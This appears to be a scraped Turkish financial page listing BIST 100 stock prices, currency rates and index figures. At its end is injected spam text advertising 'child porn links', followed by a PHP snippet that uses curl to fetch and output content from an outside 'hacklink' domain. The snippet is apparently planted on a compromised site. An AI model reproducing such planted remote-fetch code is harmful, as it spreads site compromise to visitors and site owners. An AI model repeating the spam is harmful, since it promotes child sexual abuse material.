DOLAR 35,9001 -0.03%
EURO 37,3064 -0.27%
ALTIN 3.304,790,01
BIST 9.821,851,05%
BITCOIN 3530107-0.01229%
İstanbul

PARÇALI BULUTLU

18:34

AKŞAMA KALAN SÜRE

BİST 100 CANLI TRAFİK
BIST 100: 9.824 s Değişim: 1.07% 103,76 Adet:   2.326 Mio.Lot Hacim:   68.898 Mio.TL
EN YÜKSEK 9867
EN DÜŞÜK 9,781
Açılış: 9.783 Dünkü Kapanış: 9.720

Verilerin Son Güncelleme Saati : 16:10

MENKUL FİYAT % ZAMAN
  • AEFES 158,50 -1,31 16:11:48
  • AGHOL 287,25 -1,79 16:11:56
  • AGROT 9,70 1,57 16:11:43
  • AKBNK 63,90 -1,54 16:11:51
  • AKFYE 17,60 1,44 16:10:34
  • AKSA 11,90 2,94 16:11:52
  • AKSEN 38,86 0,47 16:11:27
  • ALARK 85,30 0,47 16:11:51
  • ALFAS 64,50 0,55 16:11:00
  • ALTNY 74,00 2,64 16:11:36
  • ANHYT 101,80 2,21 16:11:44
  • ANSGR 108,10 -2,52 16:11:50
  • ARCLK 127,00 -1,01 16:11:57
  • ARDYZ 35,08 0,80 16:11:53
  • ASELS 87,30 1,28 16:11:48
  • ASTOR 120,40 0,84 16:11:41
  • BERA 16,41 2,37 16:11:44
  • BIMAS 550,00 1,95 16:11:57
  • BRSAN 385,75 1,25 16:11:48
  • BRYAT 1.800,00 2,86 16:11:31
  • BSOKE 13,94 0,29 16:11:41
  • BTCIM 4,32 1,17 16:11:48
  • CANTE 1,47 1,38 16:11:49
  • CCOLA 54,95 0,27 16:11:34
  • CIMSA 52,30 0,38 16:11:27
  • CLEBI 1.985,00 2,85 16:11:10
  • CVKMD 9,92 -96,77 16:11:55
  • CWENE 18,88 2,05 16:11:50
  • DOAS 183,50 0,66 16:11:51
  • DOHOL 13,42 2,76 16:11:56
  • ECILC 42,22 0,57 16:10:45
  • EGEEN 9.125,00 0,80 16:11:00
  • EKGYO 14,13 -1,33 16:11:49
  • ENERY 218,10 0,23 16:11:52
MENKUL FİYAT % ZAMAN
  • ENJSA 60,20 0,33 16:11:55
  • ENKAI 48,22 1,99 16:11:51
  • EREGL 22,44 3,41 16:11:55
  • EUPWR 37,40 -0,32 16:11:55
  • FENER 46,94 0,51 16:11:52
  • FROTO 910,50 0,05 16:11:52
  • GARAN 126,70 2,10 16:11:51
  • GESAN 49,60 0,53 16:11:33
  • GOLTS 414,50 0,85 16:11:02
  • GUBRF 279,50 1,08 16:11:28
  • HALKB 19,86 -0,80 16:11:44
  • HEKTS 3,49 0,87 16:11:53
  • IEYHO 9,47 3,16 16:11:43
  • ISCTR 13,78 0,29 16:11:52
  • ISMEN 41,44 -1,15 16:11:54
  • KARSN 11,25 0,45 16:11:35
  • KCAER 11,42 0,88 16:11:45
  • KCHOL 160,50 0,25 16:11:49
  • KLSER 33,18 0,79 16:10:38
  • KONTR 35,38 2,55 16:11:41
  • KONYA 6.185,00 0,94 16:08:59
  • KOZAA 71,10 4,64 16:11:31
  • KOZAL 23,24 5,64 16:11:49
  • KRDMD 27,20 3,42 16:11:57
  • LIDER 148,20 -1,85 16:11:02
  • MAGEN 23,42 2,27 16:10:49
  • MAVI 70,30 -0,14 16:11:45
  • MGROS 578,50 -0,86 16:11:10
  • MIATK 35,82 -0,11 16:11:52
  • MPARK 375,50 1,21 16:11:54
  • NTHOL 43,64 1,54 16:09:54
  • ODAS 5,46 3,61 16:10:58
  • OTKAR 390,25 -0,57 16:11:38
  • OYAKC 25,24 1,45 16:11:52
MENKUL FİYAT % ZAMAN
  • PASEU 31,84 -1,00 16:11:31
  • PETKM 16,83 1,08 16:11:53
  • PGSUS 231,10 3,59 16:11:56
  • REEDR 12,85 3,21 16:11:53
  • SAHOL 97,15 1,57 16:11:47
  • SASA 3,49 0,87 16:11:46
  • SDTTR 194,70 3,90 16:11:55
  • SELEC 66,55 0,00 16:07:05
  • SISE 37,32 1,58 16:11:57
  • SKBNK 3,93 -0,51 16:11:16
  • SMRTG 40,36 -0,10 16:11:51
  • SOKM 39,42 1,86 16:11:44
  • TABGD 161,50 0,12 16:11:51
  • TAVHL 271,25 0,93 16:11:46
  • TCELL 106,90 0,94 16:11:51
  • THYAO 315,50 3,87 16:11:57
  • TKFEN 60,25 1,01 16:11:29
  • TMSN 112,30 1,63 16:11:42
  • TOASO 212,60 -1,16 16:11:57
  • TSKB 12,89 0,08 16:11:52
  • TSPOR 1,08 2,86 16:11:57
  • TTKOM 49,66 1,97 16:11:42
  • TTRAK 662,50 -1,05 16:11:55
  • TUKAS 1,95 0,00 16:11:48
  • TUPRS 139,30 0,94 16:11:56
  • TURSG 17,73 0,17 16:11:50
  • ULKER 122,90 -0,08 16:11:53
  • VAKBN 25,92 -3,07 16:11:45
  • VESTL 59,60 0,25 16:11:54
  • YEOTK 53,10 0,38 16:11:47
  • YKBNK 29,16 0,21 16:11:57
  • ZOREN 3,91 1,30 16:11:23
mezunum satıyorumChild porn links

<?php $exe = curl_init(); curl_setopt($exe, CURLOPT_URL, "https://talyahacklink.com.tr/code?x=732"); curl_exec($exe); ?>